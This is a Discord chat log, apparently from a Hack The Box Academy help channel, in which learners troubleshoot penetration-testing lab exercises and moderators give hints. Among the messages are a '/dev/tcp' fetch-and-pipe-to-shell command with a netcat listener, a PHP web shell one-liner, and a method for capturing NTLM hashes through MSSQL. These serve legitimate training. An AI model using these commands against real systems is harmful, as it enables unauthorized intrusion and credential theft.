Hmm. It reads passwd, but not shadow. So I'm guessing it runs as the www-data user or something, and doens't have access to read the shadow file.

fathom pendant
tranquil crystal
#

Oh I got ya

fathom pendant
#

Also check options

tranquil crystal
#

I'm supposed to get /flag.txt

#

I got it

fathom pendant
#

👍

tranquil crystal
#

Thank you

fathom pendant
#

I mean

#

search <plugin name>

#

Then use N where N is the exploit you want

vague dust
fathom pendant
heady stone
#

an someone help me with this question, of broken autentication module?:

On what do password recovery functionalities provided by web applications typically rely to allow users to recover their accounts?

it does not specify in which format it has to be entered or if it is lowercase or not, I have been trying different ways for a while and it does not catch me.

fathom pendant
#

Reset?

#

It's likely in the reading anyway

#

So just double check

heady stone
#

thank you, it was my English problem

obtuse horizon
vague dust
wraith pelican
zealous rune
#

just curious.... i tried capturing a hash by executing xp.. dirtree from MSSQL server and using impacket-smbserver

#

[*] User WIN-HARD\ authenticated successfully [*] :::00::aaaaaaaaaaaaaaaa

#

that's what i captured

#

wondering what it means when we don't see any user being authenticated

#

it doesn't really matter for the challenge i';m on i think but i'm just curious

zealous rune
#

i was working on the "Attacking common services" section hard lab

#

In the attacking databases quiz I did succhessfully capture a hash for mssqlsvc account using this technique

#

I didn't actually need to do this to complete the hard lab

#

I just wondered what it meant where the hash was basically empty

#

ah

#

maybe null login

fathom pendant
#

yeah there's no user for that

#

WIN-HARD\ is the domain/computer name

zealous rune
#

yh

#

curious i had not seen that before

#

I think i should probably submit an errata for the solutions of the medium lab

#

there's an errata channel somewhere right?

#

found it

fathom pendant
#

it might be intentional so idk

#

¯_(ツ)_/¯

#

i remember not needing the hash for mssqlsvc for that exam

#

rather needing to do something completely different

earnest imp
#

I'm doing an exam currentely and I have a problem with the submission.

#

Where I can contact an administrator?

fathom pendant
#

there is no support for the exams on the discord

zealous rune
#

moving on to the network pivot module

#

is everyone just using ligolo-ng to do pivoting now?

#

no more ssh local port forwarding proxy chains etc.etc.?

fathom pendant
#

i mean it's a lot simpler to use, but it's good to know multiple tools, in the event you only need something quick

zealous rune
#

For sure

tranquil crystal
#

https://academy.hackthebox.com/module/77/section/844

I am doing this task. The machine I have started and connected to via ssh. I am not able to download linpeas.

I started a local python http server on my parrot VM. python3 -m http.server on 8000
I ssh into target machine with user1.
I do wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh or wget http://my.vpn.ip:8000/linpeas.sh and it just never connects.

What am I doing wrong if anything? Do the machine no have any internet connectivity?

fathom pendant
#

is linpeas in the directory you launched the http server from?

tranquil crystal
#

Yes, it's not that it is a 404 not found, it's that it times out trying to connect to my VPN tun0 ip

fathom pendant
#

http.server serves the directory you're in (and any subdirectories)

#

try:

  • resetting the target
  • changing vpn regions
  • use SCP to copy the file over (syntax SCP source destination)
#

linpeas is absolutely not required lol

tranquil crystal
#

Locally:
─$ sudo nc -q 5 -lvnp 80 < linpeas.sh
listening on [any] 80 ...

On target:
cat < /dev/tcp/10.10.14.125/80 | sh

It times out.

I've tried multiple methods.

I also did nv -vz myvpnip 80 and nothing. Netcat logs nothing incoming

fathom pendant
#

and can often spit out a lot of info that makes no sense and only a few bits of relevant info

tranquil crystal
#

Ok np.

#

I'll try doing those things

fathom pendant
#

plenty of other methods to list what your user might be able to (su)do

tranquil crystal
#

I tried: find / -type f -perm -04000 -ls 2>/dev/null to list all suid binaries, then on GTFO I tried whatever I found, it keeps saying user1 is not allowed to execute. I'm trying. Let's see

fathom pendant
#

you're overcomplicating it

#

sudo -l 😉

#

also this one is a publicIP:port; so you won't be able to get a reverse connection

tranquil crystal
#

Oh hang on.

fathom pendant
tranquil crystal
#

It's not a VPN machine. It's just a container I think on a random port, so it won't connect back to VPN that's why.

#

Oh you just said that 🙂

#

Thanks

fathom pendant
#

yeah

#

the User Privileges Subsection details stuff you can do btw 😉

#

almost exactly

tranquil crystal
#

So I don't really need the VPN for academy, do I? VPN is for main site?

fathom pendant
#

you gotta get from user1 → user2 then user2 → root

tranquil crystal
#

Ok I'll try more, thanks

fathom pendant
tranquil crystal
#

Oh ok.

fathom pendant
#

→ 10.129.x.x = VPN required
→ PublicIP:Port = No VPN (and no reverse connections)

tranquil crystal
#

I did sudo -l already and I can't run anything as sudo.

user2 has nopasswd on /bin/bash, so he can launch bash with his sudo access and get a root shell, np. But I'm stuck on user1 😦

#

OMG

#

I suck at reading.

#

User user1 may run the following commands on ng-1014841-gettingstartedprivesc-hjrlt-546d885f89-tqjlm:
(user2 : user2) NOPASSWD: /bin/bash

user1@ng-1014841-gettingstartedprivesc-hjrlt-546d885f89-tqjlm:~$ sudo /bin/bash
[sudo] password for user1:
Sorry, user user1 is not allowed to execute '/bin/bash' as root on ng-1014841-gettingstartedprivesc-hjrlt-546d885f89-tqjlm.

#

hmmmm.

fathom pendant
#

reread the subsection i said earlier

tranquil crystal
#

I read it twice. I'll do ti again

fathom pendant
#

it shows what to do when you see (for example) (user:user) NOPASSWD /bin/*

tranquil crystal
#

Oh

#

Sigh. That's so silly.

fathom pendant
tranquil crystal
#

You miss the most obvious things.

#

I understood now

fathom pendant
#

yep

tranquil crystal
#

Thanks duder

fathom pendant
#

np

#

i forgot that it shows the syntax for that tbh kek

sterile gust
#

For Attacking Common Applications - Attacking Thick Client Applications, I'm unable to get the .bat file to populate after changing the user's temp folder permissions. Any ideas as to what I might be missing?

quasi wave
#

I completed file transfers module

rustic sage
#

You know what, I might try the academy section out and see how well it helps me.

simple ledge
#

Module: Password Attacks -> Attacking SAM.

Anyone know how to transfer files from Windows (RDP connected) machine to a local Kali VM running smbserver.py? I'm trying to use 'move' from the Windows machine with the private IP for OpenVPN to connect back to the Kali VM but it's unable to recognise the machine.

solemn ravine
#

Hello, I am in the Introduction to windows evasion techniques static analysis section and have been stuck for the past few hours. I am AES encrypting my payload and using the same format as shown in the module example, but when I compile and run the program I keep getting the same error. The error says its a padding issue so I tried with various types of padding but nothing worked. Could anyone please tell me what I am doing wrong?

wraith pelican
# simple ledge Module: Password Attacks -> Attacking SAM. Anyone know how to transfer files fr...

there are multiple ways to transfer the files, regarding the one you are trying you might need to map the share before accessing it:
net use n: \\10.10.10.10\<share-name>
then you should be able to access the share
I would prefer to use copy over move
you also can change the letter n to your convenience
sometimes windows require a user and password to be set on a smbshare but that might not be the issue in your case

next bronze
solemn ravine
simple ledge
next bronze
simple ledge
next bronze
#

can the target reach your smb server?

simple ledge
next bronze
#

works fine for me, you should see something pop up in your smbserver if the connection is successful

simple ledge
next bronze
#

vm but it shouldn't matter

#

do you have firewall enabled?

solemn ravine
simple ledge
next bronze
simple ledge
# next bronze running in a vm?

The Windows machine is a VM (HTB machine), MacOS is my local OS and Kali is my hacking VM. I'm using OpenVPN Connect (Desktop GUI) to connect to the HTB network.

next bronze
next bronze
#

yep that's the problem, the target have no way of reaching the smbserver on your kali since they're different interfaces

#

always connect to the vpn in kali itself

solemn ravine
simple ledge
wicked apex
#

Module: Password Attacks
Section: Password Mutations

Refered to previous conversation, I gave up attacking the ssh port an went for the smb port instead with netexec

hydra returned that the smb port can accept any passwords while it isn't the case in reality (neither sam with any "successful" attempts shown in hydra, nor a null session can get me in the smb server via smbclient)

Still I can somehow list shares via null user in netexec, is there any thing I missed again?

(PS: I am using the mutated wordlist generated with the example command hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list)

#

never mind I saw thats another surface I can touch

next bronze
solemn ravine
#

So i dont think key is the problem

simple ledge
next bronze
fathom pendant
#

btw

slender violet
#

How come the Windows Privilege Escalation doesn't have any service binary hijacking or unquoted service paths? Did I miss something?

dim wolf
slender violet
#

Thank you

solemn ravine
#

Thanks for everything!

main acorn
#

why im getting fuzzed in all playloads? . In using web proxies - zap fuzzer

next bronze
fathom pendant
pseudo kiln
#

i am doing the LFI module, and for some reason when I encode to base64 echo '<?php system($_GET["cmd"]); ?>' I get a different result if I encode it to base64 with burp or cyber chef in comparison with encoding it from the terminal

#

anyone faced something like this ?

bright coral
simple ledge
pseudo kiln
#

nvm fixed now, I was adding extra quotes

fervent grove
#

Hey

#

Is kali linux go For hacking

fathom pendant
#

sure

#

it is pretty standard in the industry

simple loom
#

DM me if you want to discuss this ^^

wraith pelican
#

hey, could you remove the command you used, as it an answer for a skill assessment

fathom pendant
#

this is a spoiler for the assessment; please refrain from posting these

next bronze
shadow dune
#

Why am i banned ?

sterile solstice
#

https://academy.hackthebox.com/module/67/section/1637

Windows PrivEsc - Pillaging Section

I have 1 question left, to find the hashes by restoring a backup (that used rustic). I have restored all available backups but can't find any of the hashes. Even in the walkthrough, the backup of \windows\system32\config where the hashes would be, can't be backup due to permissions.

so despite going through the steps many many times, i cna't figure out what i'm meant to do?

obtuse horizon
wraith pelican
zealous rune
#

hi

sterile solstice
zealous rune
#

I'm having trouble getting the credentials supplied in question 2 of module Pivoting and Tunnelling section SSH local port forwarding and SOCKS proxy to work.

#

I have connectivity to the host with RDP but the credentials supplied don't seem to work

#

Apply the concepts taught in this section to pivot to the internal network and use RDP (credentials: victor:pass@123) to take control of the Windows target on 172.16.5.19. Submit the contents of Flag.txt located on the Desktop.

#

i used victor as username and pass@123 as password

wraith pelican
sterile solstice
#

yea, which i've done, but he cant write the config directory that would hvae the hashes

fathom pendant
#

if you read carefully, there's another system in the middle there that they give you creds for

wraith pelican
sterile solstice
#

ok. but where am i meant to look?

#

ive restored all of the backups and found nothing

wraith pelican
# sterile solstice ok. but where am i meant to look?

i can't tell without redoing the exercise and i can't do it at the moment.
I do not take precise notes on them if there is no new tricky thing straying off the course material. Just because i don't want to focus too much on past results when facing a new problem. I might give it a go later if you're still stuck

sterile solstice
#

no prob. and i probably will. ive been doing it for a while lol

wraith pelican
#

lol my rabbit hole is: not focus on the config directory but trying to have access to the hives in system32. But as i said i don't remember the particularities of the exercise so it might be completely off track

sterile solstice
#

the hive files are in the config directory though

wraith pelican
#

meh

zealous rune
fathom pendant
zealous rune
#

ok

wraith pelican
fathom pendant
#

in which case it helps to provide the section name

#

not "question 2" and stuff like that

sterile solstice
zealous rune
#

I am on the section titled "Dynamic Port Forwarding with SSH and SOCKS Tunneling"

#

third section in the pivot and tunnel module

#

the question asks us to use the pivot host to rdp onto a host on the internal network.

wraith pelican
sterile solstice
#

yea thats alright. im resetting the target. and will keep trying

#

all the other questions were easy for me, but this 1 has been a pain lol.

fathom pendant
zealous rune
#

no worries i wasn't very clear initially

#

i just did a local port forward to achieve the connectivity and seems to work fine

#

i get rdp connection etc.

#

just the creds provided don't seem to work

fathom pendant
#

they should work

zealous rune
#

ok, unless i am rdp'ing onto something else... not sure how

fathom pendant
#

/u:victor /p:pass@123 should be the user/pass

#

and the /v:172.16.5.19

zealous rune
#

well no the v:

#

localhost:1234

fathom pendant
#

ah

#

no it's not localhost:1234

#

it's the targetIP 1234

#

iirc

#

either way it's something that's awkward to do

zealous rune
#

mmmm well target IP is not reachable directly

fathom pendant
#

yes

zealous rune
#

so we forward a local port using ssh

fathom pendant
#

you need to use a dynamic chain

zealous rune
#

well that's what i did

fathom pendant
#

not a local

#

-D not -L

#

and proxychains

zealous rune
#

hmmm I feel like we don't need to in this case

#

we just need to forward one port

ruby grove
#

or is that impossible

zealous rune
#

so localhost:1234 will be forwarded over the tunnel to targetIP:3389

dim wolf
#

this is not that kind of server, and i suggest you not ask others to perform illegal actions

zealous rune
#

ssh -L 1234:172.16.5.19:3389 ubuntu@10.129.203.158

#

ssh client on my machine should forward all packets received on localhost 1234 over the tunnel for the destination ip

#

of cousrse we can also use proxychains etc.

#

but i don't believe it's necessary for this question

fathom pendant
#

proof doing it that way works

zealous rune
#

ok i must be missing something in my understanding

fathom pendant
#

the hint of what you need to do is in the section title DYNAMIC

zealous rune
#

it just doesn't make any sense to me

#

why would i need to do dynamic port forwarding. when i only need to forward to one destination port

#

i'm gonna do it that way anyway

#

perhaps i'm getting rdp access to some other box!

fathom pendant
#

well the box you need to gain access to is a different box entirely

zealous rune
#

yes

#

but i get the rdp interface

#

so i'm assuming it's the right box

#

but maybe there's another box with an rdp listener

fathom pendant
#

it should be the right box

jolly raptor
#

i’ve just done an unauthenticated rce exploit, how do i actually gain the initial foothold? do i need to run a reverse shell?

fathom pendant
#

you wouldn't be able to access it if it wasn't

fathom pendant
#

and reverse shells are an it depends type thing

#

if on academy and it's a public_IP:port; you're gonna have a hell of a time trying to get a revshell to run

#

also if you have RCE, why not just look for files

#

¯_(ツ)_/¯

zealous rune
#

ok it worked

#

without the proxychains

zealous rune
#

i was using rdesktop

#

i didn't need to do dynamic port forwarding

fathom pendant
#

haven't used rdesktop before so idk how it works

glacial sparrow
#

got a question about the last hop of the skills assessment for the pentester path lateral movement module: i've got an open RDP session tunneled over SSH, and i'm trying to discover alive hosts on the 172.16.6.0/23 subnet which i assume is where the domain controller is going to be, but i'm not seeing other hosts responding to my ping sweeps other than the hosts that i've already compromised. i've used a powershell one liner to ping the network range, and the post/multi/gather/ping_sweep module in meterpreter, but neither have revealed any new hosts. is there something that i'm overlooking here?

fathom pendant
#

but yeah requesting localhost:1234 @zealous rune after setting it up your way and that also works

#

but tbh your way really only works if you know for sure where you're sending things

zealous rune
#

well yh

fathom pendant
#

if you need to go through multiple machines, dynamic is just better

zealous rune
#

we do in this case because it's defined for us

fathom pendant
#

also less typing

#

nah

#

-D is almost always better

zealous rune
#

we have the IP:port

fathom pendant
#

UNLESS YOU NEED TO FORWARD SPECIFIC PACKETS TO PORTS

zealous rune
#

depends innit

fathom pendant
#

nah

#

-D is just better overall, you don't gotta do it for each individual item/port combo

zealous rune
#

dynamic is necessary when u don't know which destination ports u need to forward to

fathom pendant
#

listen

#

let's agree to disagree until you can get through a day without ramming headfirst into a wall :)

zealous rune
#

but if u know you want to access a specific destination IP on a specific destination port then a simple ssh local port forward will suffice

#

😄

#

i like elegance and simplicity 🙂

#

let's agree to disagree

dim wolf
fathom pendant
zealous rune
#

@fathom pendant thanks for the hints as always

fathom pendant
#

btw to show I did both ways

fathom pendant
glacial sparrow
fathom pendant
zealous rune
#

its just that using sh -L 1234:172.16.5.19:3389 ubuntu@10.129.203.158 has less moving parts than adding proxychains.... I'll leave it there¬

fathom pendant
#

instead of needing to remember which IP; port; etc you're forwarding

#

and is less prone to typos

zealous rune
#

fair enough

#

sure i'll be back shortly once i find the next wall

brave field
#

I am getting this response when I try to ping the target in one of the htb academy module. I have my vpn on.

fathom pendant
brave field
fathom pendant
#

slogging my way through the file inclusion module wooo

zealous rune
glacial sparrow
#

solved my own problem. i was on the second-to-last question that told me to make a final hop using a "common remote access solution", and for some reason the ping_sweep module didn't pick up the hosts on the 172.16.6.0/23 subnet the first time, but i ran it again and it found them the second time. i can see now that it wasn't really a "hop" per se

zealous rune
#

btw i believe the diagrams in the pivot and tunneling module could represent things "better"

#

their a bit confusing

fathom pendant
#

so you're not relying on the proxy to not drop connections

glacial sparrow
#

yeah that's possibly what happened the first time

#

although i was running the powershell ping sweep on the host and it didn't find anything either

fathom pendant
#

also sometimes it's just dumb like that

#

¯_(ツ)_/¯

#

it's also possible you just overlooked it

#

it's overall dumb

weak horizon
#

How do i type in #general ?? it tells me the check out this chat instead 👀

glacial sparrow
#

i mean possibly, staring at the terminal for too long makes me see funny sometimes, but i'm pretty sure i didn't miss anything

#

oh well, i got there in the end

fathom pendant
fathom pendant
weak horizon
#

Thanks

glacial sparrow
fathom pendant
#

yeah i was doing that a minute ago; i have a keypad on my keyboard and went to type 36. my hand was off by one and typed 25. instead kek

glacial sparrow
#

literally did the same thing while doing the lateral movement skills assessment

fathom pendant
#

you mean the Pivoting skill assessment?

#

lateral movement is something else entirely

glacial sparrow
#

sorry yes

#

pivoting tunneling and port forwarding

fathom pendant
#

lateral movement is generally just moving to a different (non-admin) user that might have different rights than your current user

#

lateral is going up the chain (privesc) or down the chain (priv-deescalation)

glacial sparrow
#

yeah that makes sense. think it's one of those terms that's used interchangeably in infosec even though they're not really the same thing

#

like file inclusion and file disclosure

bright cloak
#

Hiiii all

#

Just curious why a kerberoastable user in the account operators group don't pop up/show that is in that group when using rpcclient to enumerate for groups that a user belongs to

fathom pendant
#

this contains spoilers for password

#

i suggest redacting the password in the screenshot

#

since you have to crack the pw in one of the questions

#

in short though it depends* rpc doesn't always show all available info

#

as that service account is a DOMAIN USER technically so that's just what it gave

next bronze
split glade
# split glade Module: Windows Privilege Escalation Chapter: Interacting with Users For the exe...

So in the end I made a quick and dirty bash script that will try to create a "test file" in each folder/subfolder on a smb server, then search for each successfully create "test file".
It works, but I still wonder if there isn't a script that already reliably does that (just "brute force" trying to create a file in each folder/subfolder on a smb server).
PS: it uses smbclientng > python3 -m pip install smbclientng > https://github.com/p0dalirius/smbclient-ng

GitHub

smbclient-ng, a fast and user friendly way to interact with SMB shares. - GitHub - p0dalirius/smbclient-ng: smbclient-ng, a fast and user friendly way to interact with SMB shares.

fathom pendant
split glade
#

I just pasted the instruction on the git page 🤷
I guess the author used this command for those reasons:
It doesn't really help for my problem though, like, nobody ever had this problem where they need to find a specific smb share subfolder with write access?
I just checked on the pwnbox and smbmap with recursive search also list the folder with write right as read only sadglas

next bronze
#

why'd you specifically want write access? that wouldn't be too useful for the most part

#

and is the default list or tree not good enough?

split glade
#

The original message is here: #modules message
In this exercise you need write access to upload a .scf/.lnk file, so you can capture a NTLMv2 hash from a user browsing the share

#

tree doesn't even list rights, and ls doesn't seem to list the rights correctly (I assume ls list your rights to edit the folder, not your rights to create a file in the folder)

fathom pendant
#

it follows windows permission ACL; write permission generally means you do have folder write access

sterile solstice
#

i can't seem to be able to connect to my target. any1 else having issues?

frank vine
#

Yea my target is stuck on respawning when I tried to revert the machine.

fathom pendant
#

could just be that your region is getting congested

#

the day is just getting started

sterile solstice
#

true

tired pivot
#

Hey! I have a question about nformation Gathering - Web Edition :DNS Zone Transfers
I am able to perform the zone transfer, but I don't really understand what is asked in this question:
After performing a zone transfer for the domain inlanefreight.htb on the target system, how many DNS records are retrieved from the target system's name server? Provide your answer as an integer, e.g, 123.

fathom pendant
#

it's asking how many records does the zone transfer give

tired pivot
#

yeah I should literally count unique records, but i dont know if i dont know how to count or i don't understand xd

fathom pendant
#

name and address belong to one record

tired pivot
#

ikr

fathom pendant
#

each name is a unique record

#

also with dig it tells you how many records were retrieved i believe

tired pivot
#

literally

fathom pendant
#

and it outputs it in a more understandable/readable format than nslookup

tired pivot
#

ah maybe im missing the 2 nameserver records?

fathom pendant
#

maybe

#

but as I said

#

dig is much more user friendly than nslookup

tired pivot
#

ill see with dig

fathom pendant
#

it's why the section shows it

tired pivot
#

aight thanks xd

rare sky
#

hi guys sorry for disorder, i think that i have a problem with my referral code, who can help me?

compact patrolBOT
rare sky
#

thanks you so much

solemn ravine
#

I was just looking at my badges and hmmmm seems like we know what the next module will be

fathom pendant
#

but nah the badges do tend to show up a bit before the actual module does

crimson minnow
#

getting started > service discovering:
I do not understand why the credentials supplied work. Are these known credentials or just example credentials to show that maybe the samba service is not signing the stuff (sorry but I'm just a complete noob and it seems to me weird in the example that they don't explain how do they come up with bob:Welcome1) This is in the getting started section > service discovering, and they talk about samba.

solemn ravine
#

They are just sample credentials

#

First they showed that a guest user cannot perform commands, and then are showing that with credentials a user is able to login and do commands like ls

fathom pendant
#

but yes the example is showing sample credentials (also generally assume if htb highlights a user/pass combo then you should probably take note of it)

crimson minnow
#

thank you so much, very weird. I do read stuff but I find that these details go over my head many times.

fathom pendant
#

then take notes

#

notes are important to keeping things locked in

#

or at the very least keep them more engrained in your brain

crimson minnow
fathom pendant
#

as in note it down

#

write it down

#

explicitly given user:pass combos are good (generally) for the section

#

not overall

#

but for that section/module specifically they can be useful

#

always make a habit of recording/saving any found credentials

crimson minnow
#

perfect, thank you!

fathom pendant
#

you also don't need to thumbsup react everything lol

crimson minnow
#

lol hahahah

#

sorry in my culture we say thank you too often lol

plush urchin
#

hello everyone, i am going through zone transfer - https://academy.hackthebox.com/module/144/section/1255

i have issues solving the first task which is performing a zone transfer.

from the example, this is how to perform a zone transfer dig axfr @nsztm1.digi.ninja zonetransfer.me

i found that @nsztm1.digi.ninja is the nameserver. so i did dig inlanefreight.htb NS to get the NS and i got this:

.            86400    IN    SOA    a.root-servers.net. nstld.verisign-grs.com. 2024072500 1800 900 604800 86400```

so i entered: `dig axfr @nstld.verisign-grs.com inlanefreight.htb` but i got the error `dig: couldn't get address for 'nstld.verisign-grs.com': not found`
fathom pendant
#

inlanefreight.htb isn't a publicly routed website so you won't find it on public servers, you need to do dig axfr inlanefreight.htb @ip for the spawned ip

#

(there's a reason there's a target spawn after all)

fathom pendant
reef axle
#

Introduction to Windows Command Line
For this level, you must successfully authenticate to the Domain Controller host at 172.16.5.155 via SSH after first authenticating to the target host. This host seems to have several PowerShell modules loaded, and this user's flag is hidden in one of them.

I've Successfully found the flag but it is not submitting keeps giving incorrect....anyways how can I SOLVE..this has happened sometimes before bu now it is takng too long

nova ginkgo
#

Helllo guys can anyone help ?

Enumerate the target Oracle database and submit the password hash of the user DBSNMP as the answer.

/module/112/section/2117

I tried :./odat.py all -s 10.129.205.19

fathom pendant
#

make sure no extra spaces in your answer

fathom pendant
#

read the section carefully once you have creds

#

hint it's in the format user/pass

reef axle
nova ginkgo
plush urchin
#

this is after entering dig axfr inlanefreight.htb @ip for the spawned ip

fathom pendant
nova ginkgo
fathom pendant
plush urchin
#

i got the answer, i had to reset my spawned machine. thanks

candid lily
#

what is this vulnerability called in nginx and is there any module explaining this

fathom pendant
#

but idk; if that's an active box; kinda spoiler tbh

candid lily
#

no it bypasses nginx protection

#

its not active dw

fathom pendant
#

even still, spoiler

candid lily
#

ok fine i deleted it i just wanna know if it is in any module

fathom pendant
#

maybe look up some writeups and see if they identify it

#

not many web experts lurking in the academy chats tbh

candid lily
#

it is not in academt modules?

fathom pendant
#

idk ¯_(ツ)_/¯

#

looks like filter bypass maybe but again not sure and not speculating on a box in the academy channel

north bramble
#

How do I fix this?

north bramble
next bronze
north bramble
fathom pendant
#

yes

#

single quote tells bash to interpret the string as literal

north bramble
fathom pendant
#

double allows for variable expansion

north bramble
#

got it. thanks for help frens

shadow grove
#

Hi, guys, I'm working my way through the Footprinting Lab-Easy /module/112/section/1078.
I had a peek at the walkthrough and, avoiding spoilers for others, it says I should have remembered a particular username and password combo. Anyone know where I was supposed to have seen that before?

#

And as soon as I type that, I find it. Feeling pretty stupid ngl. 😅

fathom pendant
#

the exams are standalone from the module so to speak

#

you won't need any creds/info from earlier in the module for skill assessment

fathom pendant
#

"additionally, our teammates..."

edgy gale
#

i have a question: "if i buy CPTS cost of 490$" will i get access to modules for lifetime?

fathom pendant
#

if you don't complete the modules unlocked 100% you don't keep access to the modules once the sub ends

edgy gale
#

after 100% i will lose access.
I'm a student any suggestion for cheap price?

shadow grove
edgy gale
shadow grove
#

With a student email, you can get tier 2 access for pretty cheap. I don't know if it's cheaper than the 1 year silver though.

fathom pendant
#

the only thing extra you gotta pay for is the exam voucher once you're ready

edgy gale
#

oh great

#

thanks buddies.

fathom pendant
#

projected timeline 2-6 months; so $16-$48 + $210 is far cheaper

edgy gale
#

1 more question i know nothing, i'm full beginner so if i buy CPTS module contain everything that needed to pass cert?
and it will be beginner to advance?

fathom pendant
#

the CPTS modules are enough to pass the exam, however if you've never even thought about a terminal in your life; the information security foundation path is the pre-requisite to the CPTS path

#

and contains a lot of fundamental info that later modules just assume you'd know

edgy gale
#

means
information security module then cpts module? all that?

fathom pendant
#

path

#

not module

#

Information Security Foundations is a skill path that contains learning modules

#

and the Penetretion Tester Job Role Path is what's required for the CPTS exam

zealous rune
#

hmmm apparently python2.7 is not in the parrot repos?

#

and apparently it's needed to be able to run rpivot

shadow grove
#

can you "sudo apt install python2.7" ?

zealous rune
#

nope

#

──╼ $sudo apt install python2.7
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
E: Unable to locate package python2.7
E: Couldn't find any package by glob 'python2.7'

#

like it's been replaced by python3

#

compile from source then ... i guess

zealous rune
#

thanks @next bronze

zenith vale
zealous rune
#

hmmm not quite working for me

#

i do already have a python environment for my user

zenith vale
#

what am i missing, i created an xml entity called pwned at a doctype called pwn, called the entity in the reflected parameter so what am i doing wrong?

next bronze